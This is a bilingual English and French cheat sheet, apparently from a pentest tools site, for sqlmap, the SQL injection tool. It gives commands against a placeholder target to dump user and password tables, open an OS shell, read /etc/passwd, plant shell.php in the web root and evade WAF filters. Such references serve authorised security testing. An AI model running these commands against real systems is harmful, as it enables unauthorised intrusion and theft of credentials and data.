← retour aux outils back to tools

# sqlmap

Détection et exploitation automatisées d'injections SQL. Supporte tous les principaux SGBD avec des techniques blind, time-based, union et error-based. Automated SQL injection detection and exploitation. Supports all major database backends with blind, time-based, union, and error-based techniques.

↗ https://sqlmap.org

## Overview

sqlmap automates the detection and exploitation of SQL injection vulnerabilities. It handles GET/POST parameters, cookies, headers, and can dump databases, read/write files, and achieve OS command execution depending on the backend and privileges.

## Basic Detection

Test a GET parameter

    sqlmap -u "https://target.com/item?id=1"

Test a POST parameter

    sqlmap -u "https://target.com/login" --data="username=admin&password=test" -p username

Test with a captured Burp request file

    sqlmap -r request.txt

Test a specific parameter

    sqlmap -u "https://target.com/item?id=1&cat=2" -p id

With cookie injection

    sqlmap -u "https://target.com/profile" --cookie="session=abc123; uid=1" -p uid

## Database Enumeration

List databases

    sqlmap -u "https://target.com/item?id=1" --dbs

List tables in a database

    sqlmap -u "https://target.com/item?id=1" -D dbname --tables

List columns in a table

    sqlmap -u "https://target.com/item?id=1" -D dbname -T users --columns

Dump a table

    sqlmap -u "https://target.com/item?id=1" -D dbname -T users --dump

Dump specific columns

    sqlmap -u "https://target.com/item?id=1" -D dbname -T users -C username,password --dump

Dump everything (careful — noisy)

    sqlmap -u "https://target.com/item?id=1" --dump-all

## Authentication & Session

HTTP auth

    sqlmap -u "https://target.com/item?id=1" --auth-type=basic --auth-cred="admin:password"

Headers (e.g. JWT / API key)

    sqlmap -u "https://target.com/api/item?id=1" -H "Authorization: Bearer eyJ..."

Maintain session across requests

    sqlmap -u "https://target.com/item?id=1" --cookie="PHPSESSID=abc123"

## Advanced Techniques

Force technique (B=boolean, E=error, U=union, S=stacked, T=time, Q=inline)

    sqlmap -u "https://target.com/item?id=1" --technique=BEUST

Level and risk (default 1,1 — increase carefully)

    sqlmap -u "https://target.com/item?id=1" --level=5 --risk=3

    # OS command execution (requires DBA privs)
    sqlmap -u "https://target.com/item?id=1" --os-cmd="whoami"
    sqlmap -u "https://target.com/item?id=1" --os-shell

    # Read/write files
    sqlmap -u "https://target.com/item?id=1" --file-read="/etc/passwd"
    sqlmap -u "https://target.com/item?id=1" --file-write="shell.php" --file-dest="/var/www/html/shell.php"

    # Tamper scripts (bypass WAF/filters)
    sqlmap -u "https://target.com/item?id=1" --tamper=space2comment,randomcase
    sqlmap -u "https://target.com/item?id=1" --tamper=between,charencode

## Proxy & Evasion

Route through Burp proxy

    sqlmap -u "https://target.com/item?id=1" --proxy="http://127.0.0.1:8080"

Random user-agent

    sqlmap -u "https://target.com/item?id=1" --random-agent

Add delay between requests

    sqlmap -u "https://target.com/item?id=1" --delay=1

## Tips

- Use `-r request.txt` from Burp — saves crafting curl flags manually
- Always start with `--batch` to use defaults non-interactively
- `--forms` automatically finds and tests forms on a page
- `--crawl=2` can discover injection points automatically
- `--output-dir` saves session files for resuming

Help / Man page

    sqlmap [options]

    Target:
      -u URL          Target URL
      -r file         Load HTTP request from file
      --data=DATA     POST data string
      -p param        Parameter to test
      --cookie=COOKIE HTTP Cookie header

    Enumeration:
      --dbs           Enumerate databases
      --tables        Enumerate tables (-D required)
      --columns       Enumerate columns (-D -T required)
      --dump          Dump table entries
      --dump-all      Dump all databases
      -D DB           DBMS database to enumerate
      -T TBL          DBMS table to enumerate
      -C COL          DBMS column to enumerate

    Techniques:
      --technique=T   B(oolean), E(rror), U(nion), S(tacked), T(ime), Q(inline)
      --level=1-5     Test level (default: 1)
      --risk=1-3      Risk level (default: 1)

    Tamper:
      --tamper=TAMPER Comma-separated tamper script names

    OS access:
      --os-cmd=CMD    Execute OS command
      --os-shell      Interactive OS shell
      --file-read     Read file from filesystem
      --file-write    Write file to filesystem

    Misc:
      --batch         Never ask for user input
      --random-agent  Use random HTTP User-Agent
      --proxy=PROXY   Use proxy
      --delay=DELAY   Seconds between requests
      --threads=N     Max concurrent HTTP requests

## Vue d’ensemble

sqlmap automatise la détection et l’exploitation des vulnérabilités d’injection SQL. Il gère les paramètres GET/POST, les cookies, les headers, et peut dumper des bases de données, lire/écrire des fichiers, et obtenir l’exécution de commandes OS selon le backend et les privilèges.

## Détection de base

    # Tester un paramètre GET
    sqlmap -u "https://target.com/item?id=1"

    # Tester un paramètre POST
    sqlmap -u "https://target.com/login" --data="username=admin&password=test" -p username

    # Tester avec un fichier de requête capturé via Burp
    sqlmap -r request.txt

    # Tester un paramètre spécifique
    sqlmap -u "https://target.com/item?id=1&cat=2" -p id

    # Avec injection par cookie
    sqlmap -u "https://target.com/profile" --cookie="session=abc123; uid=1" -p uid

## Énumération de base de données

    # Lister les bases de données
    sqlmap -u "https://target.com/item?id=1" --dbs

    # Lister les tables d'une base
    sqlmap -u "https://target.com/item?id=1" -D dbname --tables

    # Lister les colonnes d'une table
    sqlmap -u "https://target.com/item?id=1" -D dbname -T users --columns

    # Dumper une table
    sqlmap -u "https://target.com/item?id=1" -D dbname -T users --dump

    # Dumper des colonnes spécifiques
    sqlmap -u "https://target.com/item?id=1" -D dbname -T users -C username,password --dump

    # Tout dumper (attention : bruyant)
    sqlmap -u "https://target.com/item?id=1" --dump-all

## Authentification et session

    # Authentification HTTP
    sqlmap -u "https://target.com/item?id=1" --auth-type=basic --auth-cred="admin:password"

    # Headers (ex. JWT / clé API)
    sqlmap -u "https://target.com/api/item?id=1" -H "Authorization: Bearer eyJ..."

    # Maintenir la session entre les requêtes
    sqlmap -u "https://target.com/item?id=1" --cookie="PHPSESSID=abc123"

## Techniques avancées

    # Forcer une technique (B=boolean, E=error, U=union, S=stacked, T=time, Q=inline)
    sqlmap -u "https://target.com/item?id=1" --technique=BEUST

    # Niveau et risque (par défaut 1,1 : augmenter avec prudence)
    sqlmap -u "https://target.com/item?id=1" --level=5 --risk=3

    # Exécution de commandes OS (nécessite des privilèges DBA)
    sqlmap -u "https://target.com/item?id=1" --os-cmd="whoami"
    sqlmap -u "https://target.com/item?id=1" --os-shell

    # Lire/écrire des fichiers
    sqlmap -u "https://target.com/item?id=1" --file-read="/etc/passwd"
    sqlmap -u "https://target.com/item?id=1" --file-write="shell.php" --file-dest="/var/www/html/shell.php"

    # Scripts tamper (contourner WAF/filtres)
    sqlmap -u "https://target.com/item?id=1" --tamper=space2comment,randomcase
    sqlmap -u "https://target.com/item?id=1" --tamper=between,charencode

## Proxy et évasion

    # Router via un proxy Burp
    sqlmap -u "https://target.com/item?id=1" --proxy="http://127.0.0.1:8080"

    # User-agent aléatoire
    sqlmap -u "https://target.com/item?id=1" --random-agent

    # Ajouter un délai entre les requêtes
    sqlmap -u "https://target.com/item?id=1" --delay=1

## Conseils

- Utiliser `-r request.txt` depuis Burp : évite de reconstruire les flags curl à la main
- Toujours commencer avec `--batch` pour utiliser les valeurs par défaut sans interaction
- `--forms` trouve et teste automatiquement les formulaires d’une page
- `--crawl=2` peut découvrir automatiquement des points d’injection
- `--output-dir` sauvegarde les fichiers de session pour reprendre plus tard

Aide / Page de manuel

    sqlmap [options]

    Target:
      -u URL          Target URL
      -r file         Load HTTP request from file
      --data=DATA     POST data string
      -p param        Parameter to test
      --cookie=COOKIE HTTP Cookie header

    Enumeration:
      --dbs           Enumerate databases
      --tables        Enumerate tables (-D required)
      --columns       Enumerate columns (-D -T required)
      --dump          Dump table entries
      --dump-all      Dump all databases
      -D DB           DBMS database to enumerate
      -T TBL          DBMS table to enumerate
      -C COL          DBMS column to enumerate

    Techniques:
      --technique=T   B(oolean), E(rror), U(nion), S(tacked), T(ime), Q(inline)
      --level=1-5     Test level (default: 1)
      --risk=1-3      Risk level (default: 1)

    Tamper:
      --tamper=TAMPER Comma-separated tamper script names

    OS access:
      --os-cmd=CMD    Execute OS command
      --os-shell      Interactive OS shell
      --file-read     Read file from filesystem
      --file-write    Write file to filesystem

    Misc:
      --batch         Never ask for user input
      --random-agent  Use random HTTP User-Agent
      --proxy=PROXY   Use proxy
      --delay=DELAY   Seconds between requests
      --threads=N     Max concurrent HTTP requests